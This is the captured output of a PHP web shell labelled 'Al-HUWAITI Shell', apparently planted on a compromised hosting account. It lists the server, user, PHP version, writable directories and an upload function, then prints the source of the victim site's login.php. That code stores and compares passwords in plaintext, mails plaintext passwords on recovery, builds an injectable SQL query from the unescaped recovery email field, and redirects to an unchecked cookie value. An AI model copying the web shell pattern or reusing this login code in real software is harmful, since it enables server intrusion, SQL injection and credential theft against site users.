Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux nl-srv-web1396.main-hosting.eu 4.18.0-553.83.1.lve.el8.x86_64 #1 SMP Wed Nov 12 10:04:12 UTC 2025 x86_64
User : u107206879 ( 107206879)
PHP Version : 7.2.34
Disable Function : NONE
Directory :  /home/u107206879/domains/escort46.de/public_html/en/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u107206879/domains/escort46.de/public_html/en/login.php
<?php
	include_once "db_connection.php";
	include_once "functions.php";
	require_once 'Mobile_Detect.php';
	$detect = new Mobile_Detect;
	
	if(isset($_SESSION['id'])){
		header("location: ".SUB_URL."/myaccount");
	}
	
	$message = ""; //Variable for storing our errors.
	if(isset($_POST["login"])){
		if(empty($_POST["email"]) || empty($_POST["key"])){
			$error = "Both fields are required.";
		}else{
			// Define $username and $password
			$username=$_POST['email'];
			$password=$_POST['key'];
			 
			// To protect from MySQL injection
			$username = stripslashes($username);
			$password = stripslashes($password);
			$username = mysqli_real_escape_string($connection, $username);
			$password = mysqli_real_escape_string($connection, $password);
			 
			//Check username and password from database
			$sql="SELECT * FROM user WHERE email='$username' and password='$password'";
			$result=mysqli_query($connection,$sql);
			$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
			 
			//If username and password exist in our database then create a session.
			//Otherwise echo error.
			
			if(mysqli_num_rows($result) == 1){
				$user_ip = getUserIP();
				#if user account deleted
				if($row['status'] == 2){
					$message = "You have deleted your account. If you want to restore it, Please Contact our support!";
				}else{
				if($row['block_user'] == 1){
					$_SESSION['id'] = $row['id'];
					$_SESSION['email'] = $row['email'];
					$_SESSION['usrname'] = $row['usrname'];
					$_SESSION['status'] = $row['status'];
					$_SESSION['user_type'] = 'User';
					$now_date = date('Y-m-d H:i:s');
					$qry = "UPDATE user SET last_login='$now_date', ip_address='$user_ip' WHERE id=".$row['id'];
					$sql=mysqli_query($connection,$qry);
					
					if(isset($_COOKIE['redirect_url']) && !empty($_COOKIE['redirect_url'])){
						if(!empty($_COOKIE['redirect_url'])){
							header("location: ".$_COOKIE['redirect_url']);
						}else{
							header("location: ".SUB_URL."/myaccount");
						}
					}else{
						header("location: ".SUB_URL."/myaccount");
					}
				}else{
					$message = "Your account was blocked because of unusual activity! Contact the support for more information!";
					}
				}
			}else{
				$message = "Incorrect email or password.";
			}
 		}
	}
	$success="";
	if(isset($_POST['forgot']))
	{ 
		$recmail=$_POST['recoveryemail'];
		$q=mysqli_query($connection,"select * from user where email='".$recmail."'");
		$p=mysqli_affected_rows($connection);
		if($p!=0){
			$res=mysqli_fetch_array($q);
			$to=$res['email'];
			$subject=$lforgot_message["new_msg"];			
			$mailmessage =$lforgot_message["mail_msg"];			
			$mailmessage.="\r\n ".$lng_languag["email"].": ".$res['email']; 
			$mailmessage.="\r\n ".$lng_languag["password"].": ".$res['password']; 
			$headers=$lforgot_message["from_msg"];
			$m=mail($to,$subject,$mailmessage,$headers);
			if($m){
				$success=
					"<div align='center' class='alert alert-success alert-dismissable'>
						<a href='#' class='close' data-dismiss='alert' aria-label='close'>X</a>
						Mail Sent! Check your Inbox! <strong> Check the spam folder also!</strong>
					</div>";
			}
			else{
				$success=
					"<div align='center' class='alert alert-danger alert-dismissable'>
						<a href='#' class='close' data-dismiss='alert' aria-label='close'>X</a>
						Mail sending Fail! <strong> Please try again!</strong>
					</div>";
			}
		}
		else{
			$success=
					"<div align='center' class='alert alert-danger alert-dismissable'>
						<a href='#' class='close' data-dismiss='alert' aria-label='close'>X</a>
						You entered the wrong email! <strong> Please try again!</strong>
					</div>";
		}
	}
?>
<!DOCTYPE html>
<html lang="<?= $language ?>">
<head>    
    <?php include_once "new_head.php"; ?>
</head>
<body id="myPage">
    <div id="mobile-indicator"></div>
    <div id="page-wrapper">
    	<?php include_once "header.php"; ?>
	    <section id="content" class="<?= $container.' '.$cont_fluid_bg_class ?> container-fluid">
			<div class="col-sm-12 col-md-12 col-xs-12 col-lg-12 no-padding">
		<?php
				if($page_ad_active == 1 || $page_top_ad_active == 1 || $page_left_ad_active == 1 || $page_right_ad_active == 1 || WEBSITE_PAGE_LAYOUT=="small"){
		?>
			    <!--<div class="col-sm-12 col-md-1 col-xs-12 col-lg-1"></div>-->
		<?php } ?>
				<div class="<?= $page_ad_bs_class ?>">
					<section id="login">
					    <div class="<?= $inner_container ?>">
					    	<div class="row">
					    	    <div class="col-xs-12 col-sm-12 col-md-4 col-lg-4 signin">
					        	    <div class="form-wrap">
					                	<?php 
											if($success != ""){
												echo $success;
											} 
										?>
					                    <center class="description">
					                        <h1>Log in</h1>
					                        <hr class="hr_lines">
					                        <p class="mb-40">Use your email to log in</p>
					                    </center>
					                    <label class="error" style="margin-bottom: 10px;"><?php if(isset($message)) { echo $message; } ?></label>
					                    <form role="form" action="" method="post" id="login-form" autocomplete="off">
					                    	
					                        <div class="form-group">
					                            <label for="email" class="sr-only">Email</label>
					                            <input type="email" name="email" id="email" class="form-control" placeholder="[email protected]" required="required">
					                        </div>
					                        <div class="form-group">
					                            <label for="key" class="sr-only">Password</label>
					                            <input type="password" name="key" id="key" class="form-control" placeholder="Password" required="required">
					                        </div>
					                        <input type="submit" name="login" id="btn-login" class="btn btn-custom btn-lg btn-block" value="Log in">
					                        <div class="checkbox">
					                            <span class="character-checkbox" onclick="showPassword()"></span>
					                            <span class="label">Show password</span>
					                            <a href="javascript:;" class="forget label" data-toggle="modal" data-target=".forget-modal">Forgot password ?</a>
					                        </div>
					                        <hr class="mt-10 mb-10">
					                    </form>
					                    
					                    <div class="col-md-12 col-sm-12 col-xs-12 mt-10 text-center nopadding">
					                    	<a href="<?php echo SUB_URL; ?>/signup" class="sign_up_link">New registration ? Click here !</a>
					                    </div>
					                    
					        	    </div>
					    		</div> <!-- /.col-xs-12 -->
					    	</div> <!-- /.row -->
					    	<div class="col-md-2 col-lg-2" style="padding-top: 10px;"></div>
							<div class="col-xs-12 col-md-8 col-lg-8 col-sm-12 myadpic" style="margin-bottom: 10px;padding-top: 10px;">
								<?php include("myadpic.php"); ?>
							</div>
							<div class="col-md-2 col-lg-2" style="padding-top: 10px;"></div>
					    </div> <!-- /.container -->
					</section>
				</div>
		<?php
			if($page_ad_active == 1 || $page_top_ad_active == 1 || $page_left_ad_active == 1 || $page_right_ad_active == 1 || WEBSITE_PAGE_LAYOUT=="small"){
		?>
			    <!-- <div class="col-sm-12 col-md-1 col-xs-12 col-lg-1"></div> -->
		<?php
			}
		?>
			</div>
        </section>
        
        <footer id="footer">
            <div class="footer-wrapper">
                <?php include_once 'footer.php';  ?>
            </div>
        </footer>
    </div>
    
	<div class="modal fade forget-modal myForgetModalLabel" tabindex="-1" role="dialog" aria-labelledby="myForgetModalLabel" aria-hidden="true">
		<div class="modal-dialog modal-sm">
			<div class="modal-content">
	        	<form action="#" method="post">
				<div class="modal-header">
					<button type="button" class="close" data-dismiss="modal">
						<span aria-hidden="true">×</span>
						<span class="sr-only">Close</span>
					</button>
					<h4 class="modal-title">Forgot password</h4>
				</div>
				<div class="modal-body">
					<p>Type your email</p>
					<input type="email" name="recoveryemail" id="recoveryemail" class="form-control" autocomplete="off" required="required">
				</div>
				<div class="modal-footer">
					<button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
					<input type="submit" name="forgot" class="btn btn-custom" value="Send">
				</div>
	            </form>
			</div> <!-- /.modal-content -->
		</div> <!-- /.modal-dialog -->
	</div> <!-- /.modal -->
		
	<?php include_once '../js_zone.php'; ?>
	
	<script>
		// Show Password
		function showPassword() {
		    var key_attr = $('#key').attr('type');
		    if(key_attr != 'text') {
		        $('.checkbox').addClass('show');
		        $('#key').attr('type', 'text');
		    } else {
		        $('.checkbox').removeClass('show');
		        $('#key').attr('type', 'password');
		    }  
		}
	</script>
</body>
</html>

Al-HUWAITI Shell